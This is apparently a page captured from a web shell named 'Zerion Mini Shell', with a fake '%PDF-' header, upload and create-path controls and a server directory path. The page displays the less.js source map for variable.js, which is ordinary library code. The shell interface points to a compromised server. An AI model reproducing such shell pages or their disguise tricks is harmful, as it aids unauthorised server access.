%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/less/lib/less/tree/
Upload File :
Create Path :
Current File : //www/specpages-backup/node_modules/less/lib/less/tree/variable.js.map

{"version":3,"file":"variable.js","sourceRoot":"","sources":["../../../src/less/tree/variable.js"],"names":[],"mappings":";;;;;AAAA,gDAA0B;AAC1B,gDAA0B;AAE1B,IAAM,QAAQ,GAAG,UAAS,IAAI,EAAE,KAAK,EAAE,eAAe;IAClD,IAAI,CAAC,IAAI,GAAG,IAAI,CAAC;IACjB,IAAI,CAAC,MAAM,GAAG,KAAK,CAAC;IACpB,IAAI,CAAC,SAAS,GAAG,eAAe,CAAC;AACrC,CAAC,CAAC;AAEF,QAAQ,CAAC,SAAS,GAAG,IAAI,cAAI,EAAE,CAAC;AAEhC,QAAQ,CAAC,SAAS,CAAC,IAAI,GAAG,UAAS,OAAO;IACtC,IAAI,QAAQ,CAAC;IACb,IAAI,IAAI,GAAG,IAAI,CAAC,IAAI,CAAC;IAErB,IAAI,IAAI,CAAC,OAAO,CAAC,IAAI,CAAC,KAAK,CAAC,EAAE;QAC1B,IAAI,GAAG,MAAI,IAAI,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,IAAI,CAAC,QAAQ,EAAE,EAAE,IAAI,CAAC,QAAQ,EAAE,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,KAAO,CAAC;KAClG;IAED,IAAI,IAAI,CAAC,UAAU,EAAE;QACjB,MAAM,EAAE,IAAI,EAAE,MAAM,EAChB,OAAO,EAAE,uCAAqC,IAAM,EACpD,QAAQ,EAAE,IAAI,CAAC,QAAQ,EAAE,CAAC,QAAQ;YAClC,KAAK,EAAE,IAAI,CAAC,QAAQ,EAAE,EAAE,CAAC;KAChC;IAED,IAAI,CAAC,UAAU,GAAG,IAAI,CAAC;IAEvB,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,MAAM,EAAE,UAAA,KAAK;Q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AAO,IAAI,CAAC;AAChB,CAAC,CAAC;AAEF,QAAQ,CAAC,SAAS,CAAC,IAAI,GAAG,UAAU,CAAC;AACrC,kBAAe,QAAQ,CAAC","sourcesContent":["import Node from './node';\nimport Call from './call';\n\nconst Variable = function(name, index, currentFileInfo) {\n    this.name = name;\n    this._index = index;\n    this._fileInfo = currentFileInfo;\n};\n\nVariable.prototype = new Node();\n\nVariable.prototype.eval = function(context) {\n    let variable;\n    let name = this.name;\n\n    if (name.indexOf('@@') === 0) {\n        name = `@${new Variable(name.slice(1), this.getIndex(), this.fileInfo()).eval(context).value}`;\n    }\n\n    if (this.evaluating) {\n        throw { type: 'Name',\n            message: `Recursive variable definition for ${name}`,\n            filename: this.fileInfo().filename,\n            index: this.getIndex() };\n    }\n\n    this.evaluating = true;\n\n    variable = this.find(context.frames, frame => {\n        const v = frame.variable(name);\n        if (v) {\n            if (v.important) {\n                const importantScope = context.importantScope[context.importantScope.length - 1];\n                importantScope.important = v.important;\n            }\n            // If in calc, wrap vars in a function call to cascade evaluate args first\n            if (context.inCalc) {\n                return (new Call('_SELF', [v.value])).eval(context);\n            }\n            else {\n                return v.value.eval(context);\n            }\n        }\n    });\n    if (variable) {\n        this.evaluating = false;\n        return variable;\n    } else {\n        throw { type: 'Name',\n            message: `variable ${name} is undefined`,\n            filename: this.fileInfo().filename,\n            index: this.getIndex() };\n    }\n};\n\nVariable.prototype.find = function(obj, fun) {\n    for (let i = 0, r; i < obj.length; i++) {\n        r = fun.call(obj, obj[i]);\n        if (r) { return r; }\n    }\n    return null;\n};\n\nVariable.prototype.type = 'Variable';\nexport default Variable;\n"]}

Zerion Mini Shell 1.0